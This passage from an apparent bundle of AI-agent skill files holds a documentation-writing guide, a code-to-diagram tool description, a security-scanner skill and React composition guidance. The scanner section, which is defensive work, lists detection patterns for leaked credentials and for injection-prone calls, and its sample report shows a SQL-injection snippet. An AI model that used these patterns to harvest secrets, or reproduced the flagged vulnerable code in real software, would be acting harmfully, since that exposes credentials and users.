API-->>Client: 201 Created\n```\n````\n\n## Data Model\n\n```mermaid\nerDiagram\n    USER ||--o{ POST : creates\n    USER ||--o{ COMMENT : writes\n    POST ||--o{ COMMENT : has\n\n    USER {\n        string id PK\n        string email UK\n        string name\n        datetime created_at\n    }\n\n    POST {\n        string id PK\n        string user_id FK\n        string title\n        text content\n    }\n```\n\n````\n\n### Screenshot Annotations\n\n```markdown\n# Dashboard Overview\n\n![Dashboard with numbered annotations](./images/dashboard-annotated.png)\n\n**Key features:**\n\n1. **Navigation** - Switch between sections\n2. **API Key** - Copy your key (click to reveal)\n3. **Usage Stats** - Current month's API calls\n4. **Quick Actions** - Generate new key, view docs\n5. **Recent Activity** - Last 10 API requests\n\n## Creating Your First API Key\n\n1. Click \"Generate New Key\" (highlighted in green)\n2. Enter a description like \"Production API\"\n3. Select permissions (default: all)\n4. Click \"Create\"\n5. **Important:** Copy the key immediately - it won't be shown again\n\n![Create API key dialog](./images/create-key.png)\n````\n\n## Troubleshooting Guides\n\n### Problem-Solution Format\n\n````markdown\n# Troubleshooting\n\n## Authentication Errors\n\n### \"Invalid API key\"\n\n**Symptoms:**\n\n- 401 Unauthorized error\n- Error message: \"Invalid API key\"\n\n**Causes:**\n\n1. API key was copied incorrectly (extra spaces)\n2. API key was revoked\n3. Using test key in production environment\n\n**Solutions:**\n\n**1. Verify the key:**\n\n```bash\n# Check for extra spaces\necho -n \"$API_KEY\" | wc -c  # Should be exactly 32 characters\n```\n````\n\n**2. Regenerate the key:**\n\n- Go to [dashboard](/dashboard)\n- Click \"Revoke & Regenerate\"\n- Update your environment variables\n\n**3. Check environment:**\n\n```typescript\nconsole.log(\"Environment:\", process.env.NODE_ENV)\nconsole.log(\"API URL:\", client.baseUrl)\n```\n\n**Still not working?**\n[Contact support](/support) with your request ID from the error response.\n\n---\n\n### \"Rate limit exceeded\"\n\n**Symptoms:**\n\n- 429 Too Many Requests error\n- Requests failing intermittently\n\n**Immediate fix:**\nWait 60 seconds and retry.\n\n**Long-term solutions:**\n\n**1. Implement exponential backoff:**\n\n```typescript\nasync function retryWithBackoff(fn, maxRetries = 3) {\n  for (let i = 0; i < maxRetries; i++) {\n    try {\n      return await fn()\n    } catch (error) {\n      if (error.status === 429 && i < maxRetries - 1) {\n        await sleep(Math.pow(2, i) * 1000)\n        continue\n      }\n      throw error\n    }\n  }\n}\n```\n\n**2. Batch requests:**\nInstead of 100 individual requests, use batch endpoints.\n\n**3. Upgrade your plan:**\n[View plans](/pricing) - Higher tiers have increased limits.\n\n````\n\n## FAQ Section\n\n```markdown\n# Frequently Asked Questions\n\n## General\n\n### What's included in the free tier?\n- 1,000 API requests/month\n- 1GB storage\n- Community support\n- All core features\n\n### How do I upgrade?\nClick \"Upgrade\" in your [dashboard](/dashboard) and select a plan.\n\n## Technical\n\n### Can I use this in production?\nYes, the API is production-ready with 99.9% SLA on paid plans.\n\n### What's the rate limit?\n- Free: 10 requests/minute\n- Pro: 100 requests/minute\n- Enterprise: Custom limits\n\n### Do you support webhooks?\nYes! See [Webhooks Guide](/guides/webhooks) for setup.\n\n### Which regions are available?\nCurrently: US East, US West, EU Central, Asia Pacific.\n\n## Billing\n\n### How does billing work?\n- Monthly subscription\n- Pay-as-you-go for overages\n- Cancel anytime\n\n### What payment methods do you accept?\nCredit card, PayPal, wire transfer (annual plans only).\n\n---\n\n**Can't find your answer?**\n- [Browse all docs](/docs)\n- [Ask the community](https://community.example.com)\n- [Contact support](/support)\n````\n\n## Quick Reference\n\n| Content Type | Best For               | Key Elements                        |\n| ------------ | ---------------------- | ----------------------------------- |\n| Quick Start  | New users (5 min)      | Prerequisites, minimal code, verify |\n| Tutorial     | Learning by doing      | Steps, checkpoints, working code    |\n| How-To Guide | Specific tasks         | Goal, steps, troubleshooting        |\n| Reference    | Looking up details     | Comprehensive, searchable           |\n| Explanation  | Understanding concepts | Why, not how                        |\n\n| Writing Principle | Technique                                |\n| ----------------- | ---------------------------------------- |\n| Clarity           | Active voice, short sentences            |\n| Scannability      | Headings, lists, code blocks             |\n| Completeness      | Prerequisites, next steps, related links |\n| Accuracy          | Test all code, version specifics         |\n","skills/code-to-diagram/SKILL.md":"---\nname: code-to-diagram\ndescription: \"Analyze codebases and automatically generate architecture diagrams, flowcharts, and org charts. Uses AST parsing to map import dependencies for Python, JS/TS, Go, and Java, outputting Mermaid or SVG files. Triggered when users ask to visualize code architecture, understand dependencies, draw a flowchart, or create a module diagram from source code.\"\nlicense: MIT\ntype: tool\ntags: [\"visualization\", \"architecture\", \"mermaid\", \"ast\", \"diagram\"]\n---\n\n# Code to Diagram\n\nExtract import and dependency relationships from a codebase via AST parsing, and automatically generate three types of diagrams:\n\n1. **Architecture Diagram** — Module/directory-level dependency relationships\n2. **Flowchart** — File-level import call chains\n3. **Org Chart** — Directory/file hierarchy structure\n\nSupported languages: Python, JavaScript, TypeScript, Go, Java\n\nOutput formats: Mermaid text (`.mmd`) or SVG images (requires `mmdc` installed on the system)\n\n## Usage\n\n### Basic: Analyze an Entire Project\n\n```bash\npython3 scripts/analyze_codebase.py /path/to/project\n```\n\nOutputs three Mermaid diagrams to stdout and writes `.mmd` files to the current directory.\n\n### Specify Diagram Type\n\n```bash\n# Architecture diagram only\npython3 scripts/analyze_codebase.py /path/to/project --type architecture\n\n# Flowchart only\npython3 scripts/analyze_codebase.py /path/to/project --type flowchart\n\n# Org chart only\npython3 scripts/analyze_codebase.py /path/to/project --type org\n```\n\n### Specify Output Directory and Format\n\n```bash\n# Output to a specific directory\npython3 scripts/analyze_codebase.py /path/to/project --output /tmp/diagrams\n\n# Output as SVG (requires mmdc)\npython3 scripts/analyze_codebase.py /path/to/project --format svg\n\n# Output both Mermaid and SVG\npython3 scripts/analyze_codebase.py /path/to/project --format both\n```\n\n### Output JSON Analysis Results\n\n```bash\npython3 scripts/analyze_codebase.py /path/to/project --json\n```\n\n### Parameters\n\n| Parameter | Description |\n|-----------|-------------|\n| `directory` | Code directory to analyze (required) |\n| `--type, -t` | Diagram type: `architecture`, `flowchart`, `org`, `all` (default: `all`) |\n| `--output, -o` | Output directory (default: current directory) |\n| `--format, -f` | Output format: `mermaid`, `svg`, `both` (default: `mermaid`) |\n| `--max-files` | Maximum number of files to scan (default: 500) |\n| `--max-depth` | Maximum depth for org chart (default: 4) |\n| `--json` | Output analysis results in JSON format |\n\n## How It Works\n\n1. **Scan phase**: Recursively traverse the directory, skipping `node_modules`, `.git`, `__pycache__`, etc.\n2. **Parse phase**:\n   - Python files: uses the `ast` module to parse `import` and `from ... import` statements\n   - JS/TS files: uses regex to match `import`, `require`, and `export from`\n   - Go files: uses regex to match `import` statements\n   - Java files: uses regex to match `import` statements\n3. **Resolve internal dependencies**: Maps import paths to actual files within the project\n4. **Generate diagrams**: Converts dependency relationships into Mermaid diagram syntax\n5. **Render (optional)**: Calls `mmdc` (Mermaid CLI) to render `.mmd` files as SVG\n\n## Use Cases\n\n- Quickly understand the module structure of an unfamiliar project\n- Visualize dependencies during code review\n- Create architecture diagrams for technical documentation\n- Detect circular dependencies or excessive coupling\n- Analyze project structure before refactoring\n\n## Dependencies\n\n- Python 3.7+ (standard library only, no extra packages needed)\n- SVG output requires `@mermaid-js/mermaid-cli` (optional)\n\n## Notes\n\n- Only analyzes static import relationships; dynamic imports are not tracked\n- For large projects, use `--max-files` to limit the scan scope\n- Mermaid diagrams with too many nodes may be hard to render; use `--type` to generate diagrams separately\n","skills/code-vuln-audit/SKILL.md":"---\nname: code-vuln-audit\ndescription: \"Scan code for security issues: dependency vulnerabilities (npm/pip audit), secret leaks (regex and entropy analysis), and OWASP anti-patterns like SQL injection, XSS, or command injection. Use when the user mentions security scans, vulnerability detection, secret leaks, API keys, OWASP, npm audit, pip-audit, hardcoded passwords, or code security checks.\"\nlicense: MIT\n---\n\n# code-vuln-audit\n\nA code security scanning tool with three core scanning capabilities:\n\n1. **Dependency Vulnerability Scanning** — Automatically detects known vulnerabilities in npm / pip dependencies\n2. **Secret Leak Detection** — Discovers hardcoded secrets, tokens, and passwords via regex matching + Shannon entropy analysis\n3. **OWASP Pattern Detection** — Identifies common security anti-patterns such as SQL injection, XSS, command injection, and insecure deserialization\n\n## Quick Start\n\n```bash\n# Scan the current directory (all checks)\npython3 scripts/security_scan.py .\n\n# Scan dependencies only\npython3 scripts/security_scan.py --mode deps .\n\n# Detect secret leaks only\npython3 scripts/security_scan.py --mode secrets /path/to/project\n\n# Detect OWASP security patterns only\npython3 scripts/security_scan.py --mode owasp .\n\n# Output report in JSON format\npython3 scripts/security_scan.py --format json --output report.json .\n\n# Only show findings at high severity and above\npython3 scripts/security_scan.py --severity high .\n```\n\n## Scan Module Details\n\n### 1. Dependency Vulnerability Scanning (deps)\n\nAutomatically detects the project type and invokes the appropriate tool:\n\n| Project Type | Detection File | Tool Used |\n|---|---|---|\n| Node.js | `package.json` + `package-lock.json` | `npm audit` |\n| Python | `requirements.txt` / `pyproject.toml` / `Pipfile` | `pip-audit` |\n\nIf the corresponding audit tool is not installed, a helpful message is displayed instead of an error.\n\n### 2. Secret Leak Detection (secrets)\n\nDetection is performed in two ways:\n\n**Regex Matching**: Covers common secret formats\n\n| Secret Type | Example Pattern |\n|---|---|\n| AWS Access Key | 20-character string starting with `AKIA` |\n| GitHub Token | Starts with `ghp_` or `github_pat_` |\n| Slack Token | Starts with `xoxb-` or `xoxp-` |\n| Stripe Key | Starts with `sk_live_` or `pk_live_` |\n| Private Key File | `-----BEGIN PRIVATE KEY-----` |\n| Generic API Key | Format like `api_key = \"...\"` |\n| Credentials in URL | `https://user:pass@host` |\n| JWT Token | `eyJ...` format |\n\n**Shannon Entropy Analysis**: Computes information entropy for string constants in code (threshold > 4.5 and length >= 20) to discover secrets in non-standard formats.\n\n### 3. OWASP Pattern Detection (owasp)\n\nCovers statically detectable security patterns from the OWASP Top 10:\n\n| OWASP Category | Detection Patterns |\n|---|---|\n| A02: Cryptographic Failures | Weak hashes (MD5/SHA1), weak ciphers (DES/RC4) |\n| A03: Injection | SQL injection, command injection (os.system / subprocess shell / eval / exec), XSS (innerHTML / document.write / dangerouslySetInnerHTML / v-html) |\n| A04: Insecure Design | Path traversal |\n| A05: Security Misconfiguration | Debug mode enabled, CORS wildcard, binding to 0.0.0.0 |\n| A08: Integrity Failures | Insecure deserialization (pickle / yaml.load / marshal / unserialize) |\n| A10: SSRF | User input passed directly to HTTP requests |\n\nSupported languages: Python, JavaScript/TypeScript, Java, PHP, Ruby, Go, and more.\n\n## Parameters\n\n| Parameter | Description | Default |\n|---|---|---|\n| `TARGET` | Directory to scan | Current directory |\n| `--mode MODE` | Scan mode: `all`, `deps`, `secrets`, `owasp` | `all` |\n| `--format FORMAT` | Output format: `text`, `json` | `text` |\n| `--output FILE` | Output file path | stdout |\n| `--severity LEVEL` | Minimum reporting level: `low`, `medium`, `high`, `critical` | `low` |\n| `--exclude-dir DIR` | Additional directories to exclude (repeatable) | - |\n| `--max-file-kb SIZE` | Maximum file size to scan in KB | `512` |\n| `-h, --help` | Show help | - |\n\n## Output Format\n\n### Text Output (default)\n\n```\n=== Security Scan Report ===\nTarget: /path/to/project\nModules: deps, secrets, owasp\n\n[CRITICAL] AWS Access Key ID\n  File: src/config.py:15\n  Code: AWS_KEY = \"AKIAIOSFODNN7EXAMPLE\"\n\n[HIGH] SQL Injection (f-string)\n  File: src/db.py:42\n  Code: cursor.execute(f\"SELECT * FROM users WHERE id={user_id}\")\n\n--- Summary ---\nCritical: 1 | High: 1 | Medium: 0 | Low: 0\nTotal findings: 2\n```\n\n### JSON Output\n\n```json\n{\n  \"target\": \"/path/to/project\",\n  \"scan_time\": \"2026-04-14T10:30:00\",\n  \"findings\": [\n    {\n      \"scanner\": \"secrets\",\n      \"name\": \"AWS Access Key ID\",\n      \"severity\": \"critical\",\n      \"file\": \"src/config.py\",\n      \"line\": 15,\n      \"snippet\": \"AWS_KEY = \\\"AKIAIOSFODNN7EXAMPLE\\\"\",\n      \"category\": \"secret-pattern\"\n    }\n  ],\n  \"summary\": {\"critical\": 1, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 1}\n}\n```\n\n## Exit Codes\n\n| Exit Code | Meaning |\n|---|---|\n| `0` | No findings |\n| `1` | Findings present (at least one security issue) |\n| `2` | Scanner internal error |\n\n## Prerequisites\n\n- Python 3.7+ (uses standard library only)\n- Dependency scanning requires the corresponding tools: `npm` (for Node.js projects), `pip-audit` (for Python projects)\n- If an audit tool is missing, that module will be skipped with a notice — other modules continue to run normally\n","skills/composition-patterns/AGENTS.md":"# React Composition Patterns\n\n**Version 1.0.0**\nEngineering\nJanuary 2026\n\n> **Note:**\n> This document is mainly for agents and LLMs to follow when maintaining,\n> generating, or refactoring React codebases using composition. Humans\n> may also find it useful, but guidance here is optimized for automation\n> and consistency by AI-assisted workflows.\n\n---\n\n## Abstract\n\nComposition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both humans and AI agents to work with as they scale.\n\n---\n\n## Table of Contents\n\n1. [Component Architecture](#1-component-architecture) — **HIGH**\n   - 1.1 [Avoid Boolean Prop Proliferation](#11-avoid-boolean-prop-proliferation)\n   - 1.2 [Use Compound Components](#12-use-compound-components)\n2. [State Management](#2-state-management) — **MEDIUM**\n   - 2.1 [Decouple State Management from UI](#21-decouple-state-management-from-ui)\n   - 2.2 [Define Generic Context Interfaces for Dependency Injection](#22-define-generic-context-interfaces-for-dependency-injection)\n   - 2.3 [Lift State into Provider Components](#23-lift-state-into-provider-components)\n3. [Implementation Patterns](#3-implementation-patterns) — **MEDIUM**\n   - 3.1 [Create Explicit Component Variants](#31-create-explicit-component-variants)\n   - 3.2 [Prefer Composing Children Over Render Props](#32-prefer-composing-children-over-render-props)\n4. [React 19 APIs](#4-react-19-apis) — **MEDIUM**\n   - 4.1 [React 19 API Changes](#41-react-19-api-changes)\n\n---\n\n## 1. Component Architecture\n\n**Impact: HIGH**\n\nFundamental patterns for structuring components to avoid prop\nproliferation and enable flexible composition.\n\n### 1.1 Avoid Boolean Prop Proliferation\n\n**Impact: CRITICAL (prevents unmaintainable component variants)**\n\nDon't add boolean props like `isThread`, `isEditing`, `isDMThread` to customize\n\ncomponent behavior. Each boolean doubles possible states and creates\n\nunmaintainable conditional logic. Use composition instead.\n\n**Incorrect: boolean props create exponential complexity**\n\n```tsx\nfunction Composer({\n  onSubmit,\n  isThread,\n  channelId,\n  isDMThread,\n  dmId,\n  isEditing,\n  isForwarding,\n}: Props) {\n  return (\n    <form>\n      <Header />\n      <Input />\n      {isDMThread ? (\n        <AlsoSendToDMField id={dmId} />\n      ) : isThread ? (\n        <AlsoSendToChannelField id={channelId} />\n      ) : null}\n      {isEditing ? <EditActions /> : isForwarding ? <ForwardActions /> : <DefaultActions />}\n      <Footer onSubmit={onSubmit} />\n    </form>\n  )\n}\n```\n\n**Correct: composition eliminates conditionals**\n\n```tsx\n// Channel composer\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Attachments />\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Thread composer - adds \"also send to channel\" field\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <AlsoSendToChannelField id={channelId} />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Edit composer - different footer actions\nfunction EditComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.CancelEdit />\n        <Composer.SaveEdit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n```\n\nEach variant is explicit about what it renders. We can share internals without\n\nsharing a single monolithic parent.\n\n### 1.2 Use Compound Components\n\n**Impact: HIGH (enables flexible composition without prop drilling)**\n\nStructure complex components as compound components with a shared context. Each\n\nsubcomponent accesses shared state via context, not props. Consumers compose the\n\npieces they need.\n\n**Incorrect: monolithic component with render props**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n  showAttachments,\n  showFormatting,\n  showEmojis,\n}: Props) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {showAttachments && <Attachments />}\n      {renderFooter ? (\n        renderFooter()\n      ) : (\n        <Footer>\n          {showFormatting && <Formatting />}\n          {showEmojis && <Emojis />}\n          {renderActions?.()}\n        </Footer>\n      )}\n    </form>\n  )\n}\n```\n\n**Correct: compound components with shared context**\n\n```tsx\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n\nfunction ComposerProvider({ children, state, actions, meta }: ProviderProps) {\n  return <ComposerContext value={{ state, actions, meta }}>{children}</ComposerContext>\n}\n\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta: { inputRef },\n  } = use(ComposerContext)\n  return (\n    <TextInput\n      ref={inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n\nfunction ComposerSubmit() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Send</Button>\n}\n\n// Export as compound component\nconst Composer = {\n  Provider: ComposerProvider,\n  Frame: ComposerFrame,\n  Input: ComposerInput,\n  Submit: ComposerSubmit,\n  Header: ComposerHeader,\n  Footer: ComposerFooter,\n  Attachments: ComposerAttachments,\n  Formatting: ComposerFormatting,\n  Emojis: ComposerEmojis,\n}\n```\n\n**Usage:**\n\n```tsx\n<Composer.Provider state={state} actions={actions} meta={meta}>\n  <Composer.Frame>\n    <Composer.Header />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Submit />\n    </Composer.Footer>\n  </Composer.Frame>\n</Composer.Provider>\n```\n\nConsumers explicitly compose exactly what they need. No hidden conditionals. And the state, actions and meta are dependency-injected by a parent provider, allowing multiple usages of the same component structure.\n\n---\n\n## 2. State Management\n\n**Impact: MEDIUM**\n\nPatterns for lifting state and managing shared context across\ncomposed components.\n\n### 2.1 Decouple State Management from UI\n\n**Impact: MEDIUM (enables swapping state implementations without changing UI)**\n\nThe provider component should be the only place that knows how state is managed.\n\nUI components consume the context interface—they don't know if state comes from\n\nuseState, Zustand, or a server sync.\n\n**Incorrect: UI coupled to state implementation**\n\n```tsx\nfunction ChannelComposer({ channelId }: { channelId: string }) {\n  // UI component knows about global state implementation\n  const state = useGlobalChannelState(channelId)\n  const { submit, updateInput } = useChannelSync(channelId)\n\n  return (\n    <Composer.Frame>\n      <Composer.Input value={state.input} onChange={(text) => sync.updateInput(text)} />\n      <Composer.Submit onPress={() => sync.submit()} />\n    </Composer.Frame>\n  )\n}\n```\n\n**Correct: state management isolated in provider**\n\n```tsx\n// Provider handles all state management details\nfunction ChannelProvider({\n  channelId,\n  children,\n}: {\n  channelId: string\n  children: React.ReactNode\n}) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }} meta={{ inputRef }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// UI component only knows about the context interface\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Usage\nfunction Channel({ channelId }: { channelId: string }) {\n  return (\n    <ChannelProvider channelId={channelId}>\n      <ChannelComposer />\n    </ChannelProvider>\n  )\n}\n```\n\n**Different providers, same UI:**\n\n```tsx\n// Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Provider state={state} actions={{ update: setState, submit: forwardMessage }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// Global synced state for channels\nfunction ChannelProvider({ channelId, children }) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n```\n\nThe same `Composer.Input` component works with both providers because it only\n\ndepends on the context interface, not the implementation.\n\n### 2.2 Define Generic Context Interfaces for Dependency Injection\n\n**Impact: HIGH (enables dependency-injectable state across use-cases)**\n\nDefine a **generic interface** for your component context with three parts:\n\n`state`, `actions`, and `meta`. This interface is a contract that any provider\n\ncan implement—enabling the same UI components to work with completely different\n\nstate implementations.\n\n**Core principle:** Lift state, compose internals, make state\n\ndependency-injectable.\n\n**Incorrect: UI coupled to specific state implementation**\n\n```tsx\nfunction ComposerInput() {\n  // Tightly coupled to a specific hook\n  const { input, setInput } = useChannelComposerState()\n  return <TextInput value={input} onChangeText={setInput} />\n}\n```\n\n**Correct: generic interface enables dependency injection**\n\n```tsx\n// Define a GENERIC interface that any provider can implement\ninterface ComposerState {\n  input: string\n  attachments: Attachment[]\n  isSubmitting: boolean\n}\n\ninterface ComposerActions {\n  update: (updater: (state: ComposerState) => ComposerState) => void\n  submit: () => void\n}\n\ninterface ComposerMeta {\n  inputRef: React.RefObject<TextInput>\n}\n\ninterface ComposerContextValue {\n  state: ComposerState\n  actions: ComposerActions\n  meta: ComposerMeta\n}\n\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n```\n\n**UI components consume the interface, not the implementation:**\n\n```tsx\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta,\n  } = use(ComposerContext)\n\n  // This component works with ANY provider that implements the interface\n  return (\n    <TextInput\n      ref={meta.inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n```\n\n**Different providers implement the same interface:**\n\n```tsx\n// Provider A: Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const inputRef = useRef(null)\n  const submit = useForwardMessage()\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update: setState, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n\n// Provider B: Global synced state for channels\nfunction ChannelProvider({ channelId, children }: Props) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n```\n\n**The same composed UI works with both:**\n\n```tsx\n// Works with ForwardMessageProvider (local state)\n<ForwardMessageProvider>\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ForwardMessageProvider>\n\n// Works with ChannelProvider (global synced state)\n<ChannelProvider channelId=\"abc\">\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ChannelProvider>\n```\n\n**Custom UI outside the component can access state and actions:**\n\n```tsx\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        {/* The composer UI */}\n        <Composer.Frame>\n          <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n          <Composer.Footer>\n            <Composer.Formatting />\n            <Composer.Emojis />\n          </Composer.Footer>\n        </Composer.Frame>\n\n        {/* Custom UI OUTSIDE the composer, but INSIDE the provider */}\n        <MessagePreview />\n\n        {/* Actions at the bottom of the dialog */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton />\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\n// This button lives OUTSIDE Composer.Frame but can still submit based on its context!\nfunction ForwardButton() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Forward</Button>\n}\n\n// This preview lives OUTSIDE Composer.Frame but can read composer's state!\nfunction MessagePreview() {\n  const { state } = use(ComposerContext)\n  return <Preview message={state.input} attachments={state.attachments} />\n}\n```\n\nThe provider boundary is what matters—not the visual nesting. Components that\n\nneed shared state don't have to be inside the `Composer.Frame`. They just need\n\nto be within the provider.\n\nThe `ForwardButton` and `MessagePreview` are not visually inside the composer\n\nbox, but they can still access its state and actions. This is the power of\n\nlifting state into providers.\n\nThe UI is reusable bits you compose together. The state is dependency-injected\n\nby the provider. Swap the provider, keep the UI.\n\n### 2.3 Lift State into Provider Components\n\n**Impact: HIGH (enables state sharing outside component boundaries)**\n\nMove state management into dedicated provider components. This allows sibling\n\ncomponents outside the main UI to access and modify state without prop drilling\n\nor awkward refs.\n\n**Incorrect: state trapped inside component**\n\n```tsx\nfunction ForwardMessageComposer() {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer />\n    </Composer.Frame>\n  )\n}\n\n// Problem: How does this button access composer state?\nfunction ForwardMessageDialog() {\n  return (\n    <Dialog>\n      <ForwardMessageComposer />\n      <MessagePreview /> {/* Needs composer state */}\n      <DialogActions>\n        <CancelButton />\n        <ForwardButton /> {/* Needs to call submit */}\n      </DialogActions>\n    </Dialog>\n  )\n}\n```\n\n**Incorrect: useEffect to sync state up**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const [input, setInput] = useState(\"\")\n  return (\n    <Dialog>\n      <ForwardMessageComposer onInputChange={setInput} />\n      <MessagePreview input={input} />\n    </Dialog>\n  )\n}\n\nfunction ForwardMessageComposer({ onInputChange }) {\n  const [state, setState] = useState(initialState)\n  useEffect(() => {\n    onInputChange(state.input) // Sync on every change 😬\n  }, [state.input])\n}\n```\n\n**Incorrect: reading state from ref on submit**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const stateRef = useRef(null)\n  return (\n    <Dialog>\n      <ForwardMessageComposer stateRef={stateRef} />\n      <ForwardButton onPress={() => submit(stateRef.current)} />\n    </Dialog>\n  )\n}\n```\n\n**Correct: state lifted to provider**\n\n```tsx\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider\n      state={state}\n      actions={{ update: setState, submit: forwardMessage }}\n      meta={{ inputRef }}\n    >\n      {children}\n    </Composer.Provider>\n  )\n}\n\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        <ForwardMessageComposer />\n        <MessagePreview /> {/* Custom components can access state and actions */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton /> {/* Custom components can access state and actions */}\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\nfunction ForwardButton() {\n  const { actions } = use(Composer.Context)\n  return <Button onPress={actions.submit}>Forward</Button>\n}\n```\n\nThe ForwardButton lives outside the Composer.Frame but still has access to the\n\nsubmit action because it's within the provider. Even though it's a one-off\n\ncomponent, it can still access the composer's state and actions from outside the\n\nUI itself.\n\n**Key insight:** Components that need shared state don't have to be visually\n\nnested inside each other—they just need to be within the same provider.\n\n---\n\n## 3. Implementation Patterns\n\n**Impact: MEDIUM**\n\nSpecific techniques for implementing compound components and\ncontext providers.\n\n### 3.1 Create Explicit Component Variants\n\n**Impact: MEDIUM (self-documenting code, no hidden conditionals)**\n\nInstead of one component with many boolean props, create explicit variant\n\ncomponents. Each variant composes the pieces it needs. The code documents\n\nitself.\n\n**Incorrect: one component, many modes**\n\n```tsx\n// What does this component actually render?\n<Composer isThread isEditing={false} channelId=\"abc\" showAttachments showFormatting={false} />\n```\n\n**Correct: explicit variants**\n\n```tsx\n// Immediately clear what this renders\n<ThreadComposer channelId=\"abc\" />\n\n// Or\n<EditMessageComposer messageId=\"xyz\" />\n\n// Or\n<ForwardMessageComposer messageId=\"123\" />\n```\n\nEach implementation is unique, explicit and self-contained. Yet they can each\n\nuse shared parts.\n\n**Implementation:**\n\n```tsx\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <ThreadProvider channelId={channelId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <AlsoSendToChannelField channelId={channelId} />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Submit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ThreadProvider>\n  )\n}\n\nfunction EditMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <EditMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.CancelEdit />\n          <Composer.SaveEdit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </EditMessageProvider>\n  )\n}\n\nfunction ForwardMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <ForwardMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Mentions />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ForwardMessageProvider>\n  )\n}\n```\n\nEach variant is explicit about:\n\n- What provider/state it uses\n\n- What UI elements it includes\n\n- What actions are available\n\nNo boolean prop combinations to reason about. No impossible states.\n\n### 3.2 Prefer Composing Children Over Render Props\n\n**Impact: MEDIUM (cleaner composition, better readability)**\n\nUse `children` for composition instead of `renderX` props. Children are more\n\nreadable, 